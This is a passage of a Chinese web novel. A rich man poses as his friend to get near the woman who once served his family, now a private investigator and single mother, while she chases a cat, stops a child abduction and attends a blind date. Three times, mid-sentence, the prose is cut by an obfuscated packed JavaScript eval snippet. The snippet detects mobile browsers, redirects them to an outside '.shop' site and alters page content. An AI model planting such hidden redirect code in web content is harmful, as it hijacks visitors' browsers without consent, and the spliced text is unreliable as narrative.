阿芳眨眨眼,好脾气笑道:“宋流星。” 仲光华心想,果然如此,你换了名字。 他勉强笑笑:“很好听的名字。” 宋流星重新问道:“李老板是想委托我们找什么呢?” 仲光华不着痕迹撇开眼神,“嗯,那个,我父亲……可能有个私生子。” 坐在一旁的钱润发立刻热情回应:“可以的可以的!找私生子是我们的特长!” 仲光华视线落在钱润发身上,却没有聚焦,只用余光盯着宋流星。 “哦……其实我已经见过他了……”他随口编造着,“我是想,如果他有什么不好的事情瞒着我爸爸就好了。” “比如……感情纠纷,不良债务之类的。” 钱润发挠挠头,“啊……这个,找人黑料这种事,理论上来说,我们是不太好办的。” 宋流星:“很多事情,现在都不合法了。” 钱润发猛点头,“对啊,不合法啦。” “但是呢,事情也不能一概而论。说不定也有合法的解决途径呢。” 他唰地抽出笔记本和圆珠笔,目光炯炯:“先从基本信息开始谈吧。私生子叫什么名字,做什么职业?” 仲光华僵住。 不能再编了,再编下去要成漏勺了。 他突然站起身,“嗯,我目前只是随便问问。还没做好决定。” 发哥也站起来,从胸口掏出名片盒,抽出一张递过去:“没事没事,那老板你先拿一张名片,有事随时联系哈!” 仲光华落荒而逃。 * 中午十二点,李流年还在睡大觉。 通常来说,他下午才会起床。 然而今天,疯狂的门铃强行把他从床上拖下来。 “谁啊!有病啊!一大早吵人清梦!” 李流年一边骂人,一边去开门。 门开了,门外站着他的好友:仲光华。 仲光华的脸色像是见了鬼一样。 李流年禁不住有些担心:“你还好吧?” 仲光华冲到客厅中央,气都喘不匀,疯狂比划着自己的鼻子,“都这么高了!这么高了!” 李流年莫名其妙:“什么玩意?什么这么高了?” 刚起床,嗓子干得慌,他随手拎起桌子上1L装的矿泉水,咕噜噜往下灌。 仲光华:“阿芳的儿子!” 噗—— 一口水猛地喷出来,天女散花洒在大理石地板上。 李流年目瞪口呆:“阿芳和你的儿子?” 仲光华冷笑:“怎么可能。” 他闭了闭眼,深呼吸,才勉强吐出这可怕的事实:“是她和野男人生的。” 李流年:“不可能吧。阿芳对你……她怎么会……不会吧。” 他突然想到了什么,瞪大眼睛,小心翼翼道:“难道,你和阿芳,从来没有……过?” 仲光华:“那孩子今年11岁。受孕是在我们分开后的第二年。” 李流年挠挠头:“啊……也许,是阿芳造假了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355446|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小孩的年龄?” 仲光华皱眉:“她造假是图什么?” 李流年心想,这话说出来就太伤人了,还是算了。 仲光华一脸嫌弃:“那个小孩一脸蠢样。不,不是样子蠢,他是真的蠢。一点简单的数学题都算不明白。绝对不可能是我的种。” 李流年:…… 李流年:“啊,这也好,正好死心。你们人生路早就岔开了。不如就此别过。” 仲光华捏起拳头,全身微微发抖。 “别过?开什么玩笑。” “虽然云泥之别,我住的是全市最贵的大平层,她住的是违规自建房,但直线距离只有五公里。” “明知道她就在我身边,在我眼前,你让我和她别过?” 李流年:…… 倒也不用强调云泥之别。 仲光华:“不可置信,我来花城也五年了,这五年间,她竟然一直生活在离我那么近的地方。” “为什么之前从来没有遇见过她?” 李流年:“大城市就是这样的啦!我住进这间公寓也快半年了,至今没见过邻居。” 仲光华:“我要报复她。我一定要报复她。” 李流年:“朋友,你冷静一点!不要冲动!” 他想了想:“不是,你打算怎么报复?” 仲光华:“暂时没想好……啊,对了,我跟他们说,我姓李。” 李流年:“啊?哦。” 仲光华:“下次如果她问我名字,我就说我叫李流年。” 李流年:? 仲光华:“既然她认不出我……我就用李流年这个身份先接近她,再随机应变。” 李流年:“等一下,你是李流年,那我是谁?” 仲光华甩过来看白痴的眼神:“你还是你啊。你又不会和她接触。” 李流年:…… 仲光华:“啊,对了,你爸爸有私生子吗?” 李流年:“没有。” 他突然恐慌起来:“没有吧?应该没有吧?你是不是知道了什么?” 仲光华:“没事。小问题。我能应付。” 李流年:??? 大门响起密码开锁的声音。 一个小男孩走进来。 他一身妥帖的白衬衫黑短裤,背着藏蓝色大书包,个子小小,面容清秀。 李流年:“还记得他吗?我侄子李静深。之前跟你说过的,我哥嫂一起出差,把他放到我这里住一阵。” 李静深十分有礼貌,不用叔叔提醒,直接招呼道:“仲叔叔好。” 仲光华:“接送有司机,做饭有保姆,为什么需要特意住到你这边?” 李流年生气地锤友人一拳:“说什么屁话呢!他还是小学生呢,当然要有亲人照顾,怎么能扔给司机和保姆?” 仲光华:“小学生?” 他仔细打量了一番李静深。 好矮。 头顶大概只到自己的肚皮位置。 这才是正常的小学生吧。 阿芳那个孩子,是吃了猪饲料吗? 李静深礼貌回答:“我四年级了,仲叔叔。” 四年级。 仲光华脑子飞速转过一个不可能的念头,嘴里却问着无关的问题:“周六也要上学?” 李流年抢答道:“是钢琴课啦!” “你忘了吗?以前我们周末都要上钢琴课的。我也不明白这些父母,为什么对孩子弹钢琴都这么有执念啊,哈哈哈哈。” 钢琴课啊。 仲光华思绪飘远了一瞬。 以前每次去上钢琴课,阿芳都会陪着一起。 老师是从国立音乐学院退休的教授,他住在很乡下的地方,开车过去要很久。 路途无聊,阿芳会偷偷把车窗开一条缝隙,让夏日的风吹进来。 她的辫子总是扎得不紧,有时候会掉一缕发丝出来,风一吹,飘起来,发梢在空气中轻轻舞动。 每当那个时候,他都很想,很想伸手去碰触。 停止。 停止回忆。 没有意义。 仲光华用力一掐手心,清空思绪,转头问李静深:“你认不认识一个叫做安安的孩子?脏兮兮的,个子特别高?” 小朋友乖乖点头:“认识。他和我同班。” 李流年:“安安?谁?” 仲光华不爽道:“你说呢?” 李流年:“阿芳的儿子?不会吧!” 他瞪大眼睛,看着侄子:“天啊……这世界也太小了。” 5. 流星大破犯罪团伙 狭窄的街道旁边,两米左右的门脸,白底红字的招牌。 这里是街坊们日常光顾的宠物诊所。 一位大汉抱着一只橘猫正在侯诊。 大汉穿着紧身上衣,露出来肌肉隆隆,左臂上有大片刺青。 橘猫也是硕大肥厚,眼神炯炯,看起来很不好惹的样子。 医生办公室门开了,一个阿姨抱着小博美出来,大汉立刻抱起橘猫进去。 他把橘猫往桌上一放,带着愤怒,气势磅礴:“你们绝育手术怎么做的?根本没做干净!我们元宝怀孕了!” 戴眼镜的医生吓了一跳:“啊?你说什么?” 大汉:“我七年前在你们这儿做的绝育手术,但是现在她怀孕了!” 医生匆匆站起来,去摸橘猫的腹部。 摸啊摸,摸啊摸。 然后礼貌微笑:“她没有怀孕,她只是胖了。” 大汉:“不可能!你是不是摸错了。” 医生微笑:“不会错的。” 大汉一时被医生的自信态度震住了。 他顿了好一会儿,争辩道:“元宝从小就在我家,身材一直很好。怎么会突然发胖?” 医生摸了摸橘猫的背,摘下一个草籽:“她是不是自由进出?估计是在外面加餐了。” 大汉:“不可能!我们元宝可挑嘴了,国产猫粮她都不吃,要买最贵的进口粮,她才赏脸吃一些。” 他大手一挥:“她才不会像那些流浪猫一样,在外面翻垃圾吃。” 医生:“不是垃圾,是有人喂她更好的东西。” 大汉:“谁?什么更好的东西?” 医生:“我怎么知道。要不你把窗户关好,别放她出去了。” 大汉:“那怎么行?我每天早出晚归的,她一个人在家多无聊,出门还能找点乐子。” 医生:“我还是建议你关好窗户。现在只是有人喂她好吃的,要是有人喂她有毒的东西呢?” 大汉一拳捶在桌子上:“那我一定会让他付出代价!” 他随即眯起眼睛:“就是那个给元宝加餐的家伙,我也得找出来。” “我要警告他一番。” “啧!喜欢喂猫的话自己养一只啊!喂别人的猫算是怎么回事!” 医生:“你要怎么找到他?” 大汉:“这你就不用管了。” 医生:…… * 花城地处沿海地带,一年有八个月都是夏天。 宋流星气喘吁吁跑到一棵榕树下,一手扶住树干,一手拉着恤衫的领口,拼命抖动。 没用,抖出来的风都是热的。 她撒开恤衫,从工装裤左腿侧兜里掏出一瓶矿泉水,仰起脖子咕噜噜往下灌。 ……连水都是热的。 宋流星打了个嗝,掏出手机。 屏幕上那一团乱麻般的绿色线条,果然又多出了一小截。 “妈的!破猫!” 她气得狠狠踢了一脚榕树。 从早晨开始,她一直在追一只猫。 是她最新接到的委托:跟踪一只名叫元宝的猫,查清楚到底是什么人在给她加餐。 元宝脖子上带着GPS定位器,手机上可以实时查看GPS信号运动轨迹。 多简单啊! 刚接到委托时,宋流星是这么想的。 她想着,GPS就是我的金手指,我只要跟着信号走就行了。 但是她不慎忘了一项重要设定:猫能翻墙,人不能。 于是,真的追起来,她才意识到: 猫本来就跑得快+猫还能抄捷径=人根本追不上猫。 一整个上午,她徒劳地追逐着手机上的绿色线条,每次到达一个终点,绿色线条就会续上新的一小截。 真好笑。 辛苦一上午,连根猫毛都没看见过。 宋流星感到一阵绝望,背靠着榕树往下滑,一屁股坐到地上。 这样不行。 她紧锁眉头,用力盯着那一团乱麻般的绿色线条,心想,跟在猫屁股后面追是行不通的。 我得找出它行动的规律,预测它前进的方向,提前堵截。 一阵风吹来,榕树发出哗啦啦的声音。 宋流星抬头,刚好看到水泥地上的光斑一阵跳动。 一阵晕眩。 日光炫目,空气灼热,蝉鸣聒噪。 此情此景,如此熟悉,教人不禁想起往事。 印度洋上的群岛之国,终年炎热的城市,豪门深深,她度过整个少女时代的地方。 仲家大屋赫赫有名,被当地人称作“蓝屋”。 这个名字,来源于大屋墙壁上艳丽的蓝色。 中华古典建筑多使用白墙红墙,但热带小岛自有一派风格。 此地特产一种幽蓝颜色的兰花,其花朵捣碎晒干制成料,涂在墙壁上,不但绚丽夺目,还能防蚊防虫。 蓝屋是民国年间流亡至此的岭南富商和他的英吉利夫人一起建造,混合了南洋风情和维多利亚样式,处处优雅清丽,寸寸奢华精美。 当初,小小的她穿行于蓝屋之中,心中是多么深深的敬意与惧怕啊。 还有……他。 蓝屋的少爷,仲家的继承人,桂冠上最闪耀的宝石。 她记得被妈妈紧紧掐着手腕,在无尽长廊中飞速穿行。 妈妈走得太快了,她的短腿拼命划动,却还是跟不上。 全身重量都坠在手腕上,很痛,几乎要断掉。 而妈妈只是回过头来,狠狠瞪视,压着声音呵斥:快点!别让少爷等你! 她本是个野草般的人。 平时最喜欢和街上其他野草般的孩子们疯玩,一直玩到天黑。 也不知道什么时候开始,她被少爷盯上了。 严格说来,她并不是女佣。 但她是司机和女佣的女儿。 住的是仲家的宿舍,吃的是仲家的食堂。 少爷的命令,她不能违逆。 自由一寸寸消失。 不能再无忧无虑的疯玩,要随时待命,等着少爷的召唤。 她不再是她自己,她有了主人。 ……恍如隔世。 宋流星一个激灵,猛地站起,紧紧握拳。 都过去了! 我们现在是在五星红旗下社会主义了,什么少爷,什么主人,都见鬼去吧! 我现在,是自由自在的单身女人。 啊,肚子好饿,先去吃点东西吧。 吃饱了才有力气追猫。 宋流星站在榕树下,叉着腰,随意四顾。 这里是一条小巷。 隔壁就是热闹的步行街,这边却罕有人至,十分安静。 她朝着小巷尽头走去,准备拐到商业街上去,随便找家店吃点东西。 小巷里停满了车,全是过来逛街的人们的座驾。 小巷尽头一辆黑色金杯突然动了。 从车位里倒出来,似乎要开走,却又停下不动了。 宋流星不禁觉得有些奇怪,这是做什么呢? 就在这时,一个女人拉着一个三四岁的小男孩从步行街的方向拐过来。 女人低着头,姿态鬼祟,步履匆忙,小男孩被她拉得跌跌撞撞。 金杯的门开了。 女人更加大步朝着金杯走去,小男孩被拖得一个趔趄,差点栽到地上。 宋流星整颗心瞬间提到嗓子眼。 她脑子一转,大吼一声:“球仔!” 女人吓了一跳,停下步子。 宋流星立刻往那边走去。 脸色泰然自若,脚步沉着迅速,嘴里大声道:“球仔!你怎么在这里?你妈妈呢?” 女人僵在了原地。 这时,驾驶侧的车门开了,一个男人下了车,朝着女人和小男孩大步走去。 宋流星已经走到了金杯旁边。 她盯住前方那个男人,挤出一个笑容:“你们是谁?是我们球仔的亲戚吗?要带我们球仔去哪?” 男人这时已经抓住了小男孩。 他转过身来,抬头看了宋流星一眼,眼神像一条没有温度的蛇。 他根本不开口,抓着小男孩就往车上拖。 宋流星默默往旁边退了一步。 男人嘴边勾起一个笑,拎起小男孩的后领,把人往车里塞。 电光火石间,宋流星往前一扑,手往前伸,电击器怼在了男人后腰上! 男人一阵抽搐,往前倒去,哐的一下砸在车门上,然后栽到地上。 女人站在一旁,惊恐瞪大双眼,想叫不敢叫,全身僵住。 宋流星一脚踩在车踏板上,两手抓住小男孩,将人拖出来,夹在腋下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355447|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拔脚就跑! * 步行街旁边的派出所。 宋流星站在大厅里,看着面前一大家子抱成一团,小男孩被挤在最中间,和家人们哭得此起彼伏。 直接抱着小男孩的大约是奶奶。 她用方言大哭着:“阿豪!阿豪!你要是丢了,我也活不下去了!“ 她的声音极具爆发力,在不大的空间里共鸣激荡,让人忍不住去捂耳朵。 过了不知道多久,奶奶的哭声终于歇下来。 她抹一把脸,拉开腰包,掏出一个厚厚红包。 她抬头张望。 旁边一个女警察立刻把宋流星往前推,“奶奶!在这儿呢!你们家恩人在这儿呢!” 恩人! 宋流星汗毛倒竖。 不要用这么严重的词!我承受不来! 奶奶目光锁定宋流星,身姿敏捷,扑将过来。 她把红包塞进对方手里,大喊一声:“恩人呐!” 声音尖历绵长,绕梁不绝。 宋流星闭着眼,手捏着红包,感受着尺寸和厚度,心就像泡在热水里一样舒服。 她晕陶陶想着:这么多钱,该怎么花呢? 带安安去外国旅游吧。 去环球影城玩个两天一夜。 安安一定高兴疯了。 宋流星沉浸在幻想里,嘴角露出梦幻的微笑。 胸口一凉。 低头一看,是奶奶的不知道是眼泪还是鼻涕还是口水在前襟淌成一大滩。 这倒不是问题。 问题是,手里啥都没有。 红包什么的,从来没存在过。 一大家子全涌了过来,抓着宋流星,哭天抢地,千恩万谢。 然后,带着小男孩前呼后拥地走了。 宋流星站在派出所门口,勉强挤出笑容,挥手作别。 一上午猫毛没见到一根。 一下午又耗在派出所录口供。 真是愉快的一天啊。 宋流星掏出手机,发信息向甲方道歉:猫速度太快,人缺乏经验,不好意思没跟上。明天会继续。 “耽误了你这么久,不好意思。”一道低沉嗓音突然响起。 宋流星回头一看,是帮自己录口供的男警察。 她赶紧摆手:“没有没有,都是市民应尽的义务。” 男警察笑起来:“要是每个市民都像你这样就好了。既有爱心,又有勇气,聪明机智,说话还特别有条理。” 宋流星听到这样直白的赞美,不禁脸红了一下。 她这才注意到,这位警察个子十分高大,站着和他说话,需要微微仰头才行。 男警察指着路边的警车:“你家在哪?我送你回去吧。” 宋流星吓了一跳,赶紧摆手:“不用了不用了!怎么好占用公家资源呢!我家不远,走两步就回去了!” 男警察笑了,“那你在这里等一下。” 说完,他转身进了大门。 少顷,一个年轻女警察轻盈跑出来,招呼道:“宋小姐,我送你回家吧!” 宋流星:…… 她上了警车。 被警车送回家,今生可是第一次。 宋流星开了一点窗,让傍晚的风溜进来,忍不住有点小兴奋。 女警察一脸的快乐笑容:“这两个人可不是单打独斗,后面有一整个团伙呢!” “我跟你说哦,听说这个团伙很厉害,上面追查他们好几年了。他们像泥鳅一样滑不溜手,好几次有点线索,却又断了。” “谁知从天而降一个你!” “我们派出所其实啥也没干,这次也得了个功劳。” “宋小姐,你可真是我们的福星啊!” 宋流星脸颊绯红,嘿嘿直笑。 叮!裤兜里传来提示音。 宋流星掏出手机,看了一眼信息。 女警察眼神飞过去,捕捉到一个关键字眼:“相亲?” 她一脸八卦:“宋小姐明天要去相亲?” 宋流星干笑:“差不多吧……” 女警察感叹:“和宋小姐相亲的男人真是有福气啊!” 宋流星继续干笑:“没有啦……” 还好,就在这时,警车已经抵达目的地,停在了艳丽的粉色招牌之下。 宋流星急忙开门逃走。 6. 相亲 事务所里,阿珍正捧着手机激烈聊八卦。 银色高跟凉鞋随意倒在水磨石地板上,十个翠绿的脚趾头踩在椅子上,下巴搁在膝盖上。 嘎吱一声,玻璃门被推开。 阿珍抬头一看,是宋流星卷着热气进来了。 宋流星大步走过来,拉开冰箱掏出茶壶,咕噜噜满满一杯麦茶瞬间下肚。 阿珍放下手机,伸着头,表情夸张:“你记得理发店那个新来的理发师不?蓝色头发,特别骚气那个。” 宋流星想了想,“有点印象。他怎么了?” 阿珍:“他和店里的洗头小妹偷偷谈恋爱,两个人没钱约会,就跑去游野泳。然后……那个洗头小妹淹死了!” 阿珍的假睫毛扑簌扑簌不停,眼影上的亮片也不住颤动:“他正在那儿游着呢,回头跟女朋友说话,女朋友不吭声,他游近了一看,已经是尸体了!” 阿珍浮夸哆嗦:“他这辈子可能都走不出阴影了!” 宋流星:…… 这是什么人间惨剧啊。 说话间,安安从门外扑进来。 阿珍大叫:“安安!想游泳的话一定要去游泳馆!绝对不可以游野泳,知道吗!” 安安莫名其妙,却乖乖点头,喊着:“我去洗澡啦!”噔噔噔跑上楼。 宋流星:“不是,你这话也很奇怪,好像理发师才是最惨的人。” “惨是惨没错啦!但是更惨的是那个洗头小妹吧。” “莫名其妙就死了。” 阿珍:“你说对了,洗头小妹真的惨。” “据说警察通知了她父母,但是她父母嫌麻烦,不想过来,让警察自己看着办。” “唉,女孩惨起来真是没底线啊!” 宋流星:…… 阿珍视线扫过宋流星背上的淡淡黄渍。 那是恤衫被汗水湿了干,干了湿,湿了又干,反反复复留下的痕迹。 阿珍不禁叹气:“你也太辛苦了吧。” 宋流星打了一个嗝,笑道:“赚钱哪有不辛苦的。” 阿珍撅起嘴:“可是你不该这样辛苦的。” “有些女的……嗯……条件欠缺,辛苦点是没办法啦。但是我们美女是不需要辛苦的。” 宋流星:…… 阿珍眨眨眼,长睫毛和绿色眼影一顿忽闪:“明天的相亲,加油哦!” 宋流星干笑:“好的。” 阿珍撅起嘴:“我怎么觉得你在敷衍我?” 宋流星:“没有啊了!我保证明天好好表现!” 她转身就往楼上走:“我累死了,得赶紧洗个澡躺一会。你也赶紧下班吧!” 阿珍跟到楼梯口,趴在扶手上,再次强调:“明天加油哦!” 宋流星敷衍摆摆手。 * 第二天是周六。 上午九点,阿珍全副闪亮打扮,兴致勃勃往超市赶。 花二宫寻人事务所在街头,超市在街尾,不过十来分钟,就走到了。 超市的老板娘站在门口,远远地看见阿珍,就兴奋得直挥手。 阿珍赶紧跑过去,高跟凉鞋在水泥路上留下一串踢踏声。 老板娘一手挽住阿珍,一手指着对面,“他就在里面,刚进去的。我看着他进去的。” 阿珍看着对面紧闭的玻璃大门,紧张地吞了口口水。 超市对面是一家颇大的店面,已经空置了半年之久。 那里原本是健身房,去年冬天突然关门大吉,老板突然消失,手机号码也变成空号。员工被欠了工资,顾客被吞了会员费,一个个全都怨声连连。 仿佛冥冥之中沾了霉运一般,那之后,房东找人接盘,连续好几户商家过来商谈,却都莫名其妙出事,有的资金链断裂,有的老板进局子,总之,全都没了下文。 直到这个月,据可靠消息,房东终于谈好合约,新店即将于月底开幕。 眼下店铺正在装修,落地玻璃全贴上了装修公司的遮光膜,从外面窥不见内部分毫。 阿珍坐在超市门口,翘首以盼了半天,却不见人出来。 她撅起嘴:“我懒得等了。回去了。等他出来,你偷偷拍张照片传给我好了。” 老板娘瞪眼:“不行!你以为我没拍过?根本拍不出本人的气质!” 她哗的推开冰柜盖子,掏出一盒冰激凌塞到阿珍手里,“吃吧,我请客!你一边吃,一边在这儿等着,给我好好见识一番!” 阿珍哼哼唧唧地开始吃冰激凌。 一大盒冰激淋很快见底。 老板娘突然猛戳阿珍:“门开了!门开了!” 阿珍咬着勺子抬头去看,对面的玻璃大门里走出来一个男人。 哗啦啦,微风穿过榕树枝叶,吹起男人微卷的长发。 初夏的日光洒在他洁白无暇的额头和鼻梁上。 阿珍愣愣张着嘴,勺子从她嘴里掉出来。 与此同时,宋流星正在一公里之外追逐橘猫元宝。 吸取昨天的教训之后,今天顺利地在一小时之内就以肉眼见到了元宝的尊荣。 不愧是横行街道整整七年的猫大佬,真是眼神犀利、气焰嚣张呢。 叮!信息提示音响起。 宋流星掏出手机一看,是阿珍: 【救命!新来的老板真的是花美男!百年一遇!谁看谁迷糊!】 【速来!三分钟之内赶到的话,还能见他一面!】 宋流星毫不犹豫把手机塞回裤兜里,继续追猫。 * 下午两点,花城第十一小学,大门口。 宋流星看看周围盛装打扮的家长们,再低头看看身上的白恤衫和牛仔裤,不禁有些不安。 会不会显得不重视? 她追了一上午猫,好险在中午时分逮到了那位猫大佬在路边小院大啖烤鸡。 小院是新租出去的。被用来开了一家漫画工作室。 工作室里有六个妹子。 每天中午,猫大佬准时来小院报道,六个妹子便嘤嘤嘤丢下数位板,抱着零食跑出来,围着大佬殷勤伺候。 宋流星:…… 真会享福啊,猫大佬。 她礼貌敲门,转述了猫主人的不满。 六个妹子吓得花容失色,连连保证,再也不会随便喂猫。 猫大佬蹲在围墙上,冲着宋流星不满地嗷了一声,跑了。 宋流星也赶紧往回跑,迅速冲一个凉,又抓了个三明治几口吞下肚,临出门时照了下镜子,“要不要打扮一下”的想法闪过脑海,但是已经没有时间了。 三站地铁之后,宋流星抵达学校。 站在大门口,她低头看看身上的白恤衫和牛仔裤。 是一条修身牛仔裤呢,并不是平常穿的附带六个大兜的面粉袋子工装裤。 嗯,已经很不错了! 宋平安早就在大门里面翘首以盼,看见妈妈身影,立刻向炮弹一样冲过来,抱住妈妈的胳膊,大声道:“妈妈!你来了!快走快走!去看我的作品!” 今天是花城第十一小学一年一度的文艺联欢会。 校园内布置了各种专题场地,展出学生们的绘画、书法、雕塑,还有各种创意手工作品。 下午四点开始,还有主题音乐会,学生们会上台表演乐器、歌唱和舞蹈。 宋流星仔细鉴赏了宋平安抽象而前卫的雕塑作品,给出了极其热烈的赞美。 宋平安心满意足跑去和朋友们玩,而宋流星则独自一人朝着喷泉走去。 在那里,她还有另外一项任务:相亲。 宋流星其实很抵触相亲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355448|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是阿珍说,不用当作什么正经相亲啦,只是见一面,看看感觉。 对方女儿也在十一小上学,也是个学渣,每次考试都倒数。你看,共同点已经有了,能聊上好久呢,不用怕冷场。 话都说到这份上了,宋流星只好应承下来。 据阿珍说,对方三年前离婚,整个过程比较和平,没有腌臜事。 两个人的独生女归了男方,前妻于一年前已经再婚了。 该男子虽然外貌方面比较一般,但是家里有六套房子放租,本人是公务员,脾气也是公认的好。 总之,综合条件顶呱呱,是相亲市场上的热门人选。 宋流星忍不住自嘲笑笑。 这正是她抵触相亲的原因。 ……条件。 不管是谁,一开口就是条件。 要说条件,我条件可差了。 工作不稳定、一穷二白的单身母亲。家务不算擅长,脾气也不温柔。 知道自己条件差,所以无论如何不想把自己一条条列出来,摆在盘子上,端出去,供人挑选。 她忍不住摸了摸自己不曾化妆的脸。 随便吧。 见一面,看看感觉,我没意见。 嫌弃我条件差的话,我也无所谓。 宋平安已经跑开和朋友们玩去了。 宋流星一个人走到喷泉旁边,目光四下梭巡。 暗号是条纹。 阿珍说:他有一件衬衫,那个条纹和你这个包包的条纹是一模一样的。颜色间距都一样。我跟他说好了,他就穿这件衬衫来学校。你就按照这个条纹认人,准没错! 宋流星抓紧自己的小包,目光梭巡,寻找着条纹。 啊,找到了。 榕树下,站着一个身长玉立的男子。 哗啦啦,微风穿过榕树枝叶,吹起男人微卷的长发。 初夏的日光洒在他洁白无暇的额头和鼻梁上,激起一圈温柔光晕。 他看起来很年轻,却又莫名载着许多重量。 此情此景,莫名让人想起小时候看的武侠电视剧结尾的地方,白衣少侠历经千帆、归隐江湖的样子。 宋流星愣愣张着嘴,好一会儿没说出话来。 这也叫做外貌方面比较一般?阿珍的标准未免太高了一点。 她愣愣想着。 啊,知道了,是不是因为是长发,会被普通人认为不稳重? 宋流星深呼一口气,走上前去,招呼道:“你好。” * 三小时之前。 学校四公里以外的某高级公寓。 四年级小学生李静深从房间出来,看到来客,礼貌打招呼:“仲叔叔好。” 仲光华施施然从沙发起身,得意一笑:“小朋友,和仲叔叔玩一个游戏吧。” “今天下午我陪你去联欢会,好不好?” “我们假扮叔侄,你是我侄子,我是你叔叔。” 李静深:? 仲光华换上严肃脸:“我知道你是个聪明孩子,所以告诉你真相吧。” “我要去你们学校执行一项秘密任务,不能使用我本来的身份。所以我要假扮成你的叔叔李流年。” “你需要全心全意把我当成你叔叔,绝对不能跟任何人透露我的真实身份。” “能做到吗?” 李流年站在岛台边上,正在为午餐备菜。 他神色复杂,欲言又止,最后却只是叹气,“我们阿深最聪明了,这点事情,小菜一碟。对不对,阿深?” 仲光华立刻补充:“你今天好好配合,日后仲叔叔一定会回报你。” 李流年微笑附和:“我们仲总的回报从来不小气。阿深,机不可失,一定要好好表现啊!” 李静深眨眨眼睛,点头。 7. 修罗场 小学校,喷泉旁,榕树下。 宋流星望着那个美貌绝伦、如梦似幻的男子,愣了好一会儿,终于深呼一口气,走上前去,招呼道:“你好。” 男人转过脸来,露出友善的微笑:“你好。” 宋流星看到那个笑容,忍不住一阵心神迷乱。 她强行稳住心神,指指自己的包,又指指对方的衬衫,笑了一下,“一样的条纹。” 对方看了看,露出惊讶神色:“真的,一模一样。颜色和间距全都一样。” 他复又笑起来:“真的太巧了。” 巧吗?明明是阿珍一手安排的啊。 但是像这样假装偶然,感觉确实不错。 宋流星轻松笑起来:“我家孩子和同学玩去了。你家孩子呢?” 男人抬手指向前方:“和刚认识的小伙伴一起看画呢。” 宋流星顺着他指的方向看去,一个戴着银色小皇冠、穿着冰蓝色层层叠叠纱裙的小女孩正好转过头来,大笑着朝这边挥手。 宋流星忍不住笑起来:“是冰雪女王啊!” 男人也笑:“嗯,她真的很沉迷,动画片看了十几遍,每天都在家唱主题曲。” 宋流星:“我家虽然是儿子,也很喜欢冰雪女王呢。可惜不能穿女王的裙子,对打扮成王子也没兴趣。” 男人笑出声:“毕竟王子是反派嘛。” 宋流星想了想,自己的工作蛮特殊的,也不知道阿珍有没有跟对方说清楚? 于是掏出名片,双手递过去,仔细观察对方的反应。 男人略微惊讶:“寻人事务所?好特别的工作。” 随即露出清爽笑容:“我家应该是不会丢人,但是如果哪天丢了东西,一定找你帮忙。” 宋流星松了一口气,快乐地一拍胸脯:“尽管找我,我给你打折!” 男人笑道:“好啊,说定了。” 他掏掏自己的口袋,露出歉意神色:“啊,不好意思,我没带名片。” 宋流星潇洒一挥手,“没关系,阿珍都跟我说了。” 她羞涩一笑:“她对你评价可高了。” 男人愣了一下:“阿珍?” 宋流星自顾自笑起来:“阿珍说,我们两家孩子都是学渣,这话题一聊就能聊一筐,不用怕冷场。哈哈哈哈哈,哪有上来就说自家孩子坏话的,你说对不对?” 男人张了张嘴,欲言又止。 宋流星暗道不好,说不定人家爱女之心盲目,根本不觉得女儿是学渣呢! 她连忙解释:“啊呀,我不是这个意思,不是说你女儿是学渣,就是个玩笑,哈哈哈哈……” 笑容逐渐在脸上僵硬。 宋流星心中大叫,我怎么回事?听听我都说了些什么傻话啊! 一个高大身影在视野角落里一闪。 咦?好眼熟。 “啊!” 她获救一般惊呼,打断男人即将出口的话语。 “我好像看到了一个客户,我先过去一下。” 话音落下,人像炮弹一样冲出去。 * 五分钟之前。 仲光华躲在一块海报展板后面,死死盯着榕树下两个人的互动,眼睛都要喷出火来。 阿芳! 你不是已经有了钱润发吗?这又是谁? 瞧瞧你,耳朵都红起来了! 阿芳,难道你要对钱润发不忠吗?! 他正咬牙切齿,余光扫到一个小小的影子。 是李静深,这小不点不知何时默默站到了自己身边。 “吓我一跳!你在这儿干什么?不是说要去彩排吗?” 李静深点点头:“已经彩排完了。” 仲光华:“不用多彩排几遍吗?你可是压轴选手。” 李静深:“我已经准备得很好了。” 他仰着脸,表情认真:“叔叔,你的秘密任务是什么?需要我帮忙吗?” 仲光华:…… 他挤出微笑:“谢谢,但是不用了。你和小伙伴们玩去吧!“ 李静深看了一眼不远处的安安妈妈,又看了看仲叔叔,若有所思,安静离去。 仲光华往前走了几步,走出阴凉,站在无人的大太阳下。 他重重咳嗽一声,又动作幅度很大地撩动头发。 宋流星果然注意到了这边。 她立刻中断谈话,朝这边匆匆跑过来。 仲光华一阵心潮澎湃。 他今天特意来联欢会,就是为了再给阿芳一个机会。 之前接触时间太短,一时认不出也是有的。 